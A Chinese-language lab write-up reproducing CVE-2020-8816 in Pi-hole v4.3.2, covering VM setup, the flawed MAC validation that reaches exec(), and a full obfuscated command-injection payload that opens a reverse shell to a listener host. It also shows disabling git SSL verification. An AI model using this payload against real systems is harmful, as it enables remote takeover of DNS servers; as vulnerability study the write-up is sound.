CVE-2020-8816是Pi-hole軟件中的一個遠程代碼執行漏洞,Pi-hole是一個用於內容過濾的DNS服務器,也提供DHCP服務。這個軟件提供一個Web界面,漏洞就存在於實現Web界面的源碼中,影響版本在v4.3.2及其之前。

環境搭建(先看下面的“踩到的坑”)

環境:virtualbox6.1 + ubuntu18.04 + pi-hole v4.3.2

相關IP:

虛擬機NAT網卡,IP地址爲:10.0.2.15

虛擬機橋接網卡,IP地址爲:192.168.0.107

主機IP地址爲:192.168.0.105

1、下載Pi-hole的安裝腳本

mkdir pi-hole
cd pi-hole
wget -O basic-install.sh https://install.pi-hole.net

2、修改腳本文件,下載v4.3.2版本

我一開始直接下載的v4.3.2的源碼,但是安裝過後還是發現最新版本,最後決定直接修改官方提供的安裝腳本。

注意要使用最新版本的安裝腳本,v4.3.2中的安裝腳本雖然也可以使用,但是修改的內容更多,這裏不再贅述。

找到make_repo()函數中的下述代碼:

# Clone the repo and return the return code from this command
git clone -q --depth 20 "${remoteRepo}" "${directory}" &> /dev/null || return $?

修改爲:

# Clone the repo and return the return code from this command
git clone -q --depth 20 --branch v4.3.2 "${remoteRepo}" "${directory}" &> /dev/null || return $?

系統在第一次安裝時會調用make_repo()函數,從github上下載pihole以及web interface的代碼,這裏指定下載v4.3.2版本。

如果不是第一次安裝,系統會調用update_repo()函數,但是一般安裝一次就能成功,如果需要再次安裝,可以刪除在make_repo()中創建的文件夾,避免進入update_repo()函數。

3、執行腳本&安裝成功

sudo bash basic-install.sh

因爲我這裏只是想要復現漏洞,不需要考慮軟件的功能問題,所以基本選擇默認選項就可以。

注意這一步只選擇一項,避免浪費時間,因爲後面會連接這些站點下載屏蔽廣告列表。

安裝成功,顯示以下界面:

打開 http://192.168.1.107/admin ,可以看到頁面下方的版本號,正是我們需要的版本:

踩到的坑

1、ubuntu版本問題

這個問題我估計大多數人應該遇不到,因爲我的virtualbox裏面當時剛好新裝了一個ubuntu12.04,是一個乾淨的系統,我就直接用了這個版本的ubuntu,結果安裝的時候發現找不到Pi-hole的一些依賴包,最終放棄,轉戰ubuntu18.04。

2、SSL連接問題

錯誤信息:

OpenSSL SSL_connect: SSL_ERROR_SYSCALL……

省略號部分我沒有記住,但是如果遇到同樣的錯誤應該能認出來。

解決辦法:

執行以下命令

git config --global http.sslVerify false

3、FTL下載失敗

錯誤信息:

[i] Downloading and Installing FTL...
curl: (56) OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 104
[✗] Downloading and Installing FTL
Error: URL https://github.com/pi-hole/FTL/releases/download/v4.3.1/pihole-FTL-linux-x86_64 not found
[✗] FTL Engine not installed

解決辦法:

這個問題是由於網絡原因導致的,如果你能 設置虛擬機使用主機代理 ,下面的內容可以略過,但是由於個人原因,我的設置沒有成功,所以需要在主機把文件下載下來,然後複製到正確的位置,並對腳本進行適當修改。

注意,在錯誤信息中,我們已經獲得了文件的下載地址 https://github.com/pi-hole/FTL/releases/download/v4.3.1/pihole-FTL-linux-x86_64 ,下載完成後放入用戶根目錄。

觀察basic_install.sh文件,發現FTLinstall()函數中有這樣一行代碼:

# Move into the temp ftl directory
    pushd "$(mktemp -d)" > /dev/null || { printf "Unable to make temporary directory for FTL binary download\\n"; return 1; }

所以說,程序會新建並進入一個臨時文件夾,下載的文件也會保存在這裏,而不是放在腳本所在文件夾。不管怎麼樣,我們只需要把下載下來的文件放入當前文件夾即可。修改basic_install.sh文件,在FTLinstall()函數中,找到下面的代碼:

# If the download worked,
if curl -sSL --fail "${url}/${binary}" -o "${binary}"; then
    # get sha1 of the binary we just downloaded for verification.
    curl -sSL --fail "${url}/${binary}.sha1" -o "${binary}.sha1"

並修改爲:

# If the download worked,
# if curl -sSL --fail "${url}/${binary}" -o "${binary}"; then
cp ~/pihole-FTL-linux-x86_64 ./
if true; then
    # get sha1 of the binary we just downloaded for verification.
    curl -sSL --fail "${url}/${binary}.sha1" -o "${binary}.sha1"

漏洞分析

出現問題的代碼

function validMAC($mac_addr)
{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);    
}

$mac = $_POST["AddMAC"];

if(!validMAC($mac)) {...}

$mac = strtoupper($mac);

if(isset($_POST["addstatic"])) {
    ...
    exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
    ...
}

if(isset($_POST["removestatic"])) {
    ...
    exec("sudo pihole -a removestaticdhcp ".$mac);
    ...
}

完整代碼看 這裏

注意到,在validMAC函數中,只使用preg_match對MAC地址的格式進行了檢查,而preg_match函數的作用是根據正則表達式的模式對字符串進行搜索匹配,並返回匹配字數。因此,只要用戶的輸入中存在MAC地址,就可以通過檢查。

通過檢查的用戶輸入做了一次大寫轉換,然後直接放入了exec函數中。

最終的payload

aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&

Payload分析

1、模擬MAC地址

aaaaaaaaaaaa

根據源碼中的validMAC()函數,我們得知程序會對用戶輸入做一個基本的MAC地址格式判斷,只要由12個字母或數字組成,就可以通過驗證。

2、獲取p,h,r的小寫字符

SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}

原本的payload應該爲:

aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“192.168.0.105”,2256);exec(“/bin/sh -i <&3 >&3 2>&3”);’

但是由於程序會對用戶輸入做一個大寫轉換,因此,php -r會變成PHP -R,命令無法識別,因此需要找到一種方式獲取p、h、r的小寫字符。

可以使用環境變量,變量名都是大寫字母,而變量值中可能包含各種小寫字母。

在瀏覽器中進入 http://192.168.1.107/admin ,登陸後,選擇Setting->DHCP選項卡,先試一下PATH變量,輸入aaaaaaaaaaaa$PATH,結果顯示:

很遺憾,沒有h字符,看來還需要找其他環境變量。我在env命令的執行結果中找到了PWD變量,輸入試一下:

裏面有h和r,所以,我可以使用PATH和PWD兩個環境變量,獲得p、h、r這幾個字符。

我使用了 Shell參數擴展 對這兩個變量值進行截取:

p:
    SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}
h:
    B=${PWD#/???/???/}&&H=${B%???/?????}
r:
    C=${PWD#/??}&&R=${C%/???/????/?????}

根據 模式匹配 的規則,應該可以寫出更簡潔的方法,但是我的系統中好多shell選項都沒有開啓,考慮到通用性,我就直接選擇了最傻瓜的匹配方式。

3、獲得反向shell

$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'

先把變量換成對應的字符,注意上面的 $IFS 是shell的一個內定變量,默認爲 <space><tab><newline> ,這裏代替空格。

php -r 'exec(hex2bin("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"))'

然後替換 hex2bin 的執行結果(轉義符是我後加的):

php -r 'exec(php -r \'$sock=fsockopen("192.168.1.105",2256);exec("/bin/sh -i <&3 >&3 2>&3");\')'

這段代碼就可以獲得一個反向shell。

漏洞復現

在主機的命令行中輸入:

ncat -nlvp 2256

進入監聽模式,等待其他機器的連接。

返回虛擬機,在瀏覽器中打開 http://192.168.1.107/admin ,登錄,選擇Setting->DHCP選項卡,輸入payload:

aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&

返回主機,可以看到主機收到了連接,可以執行命令了:

相關文章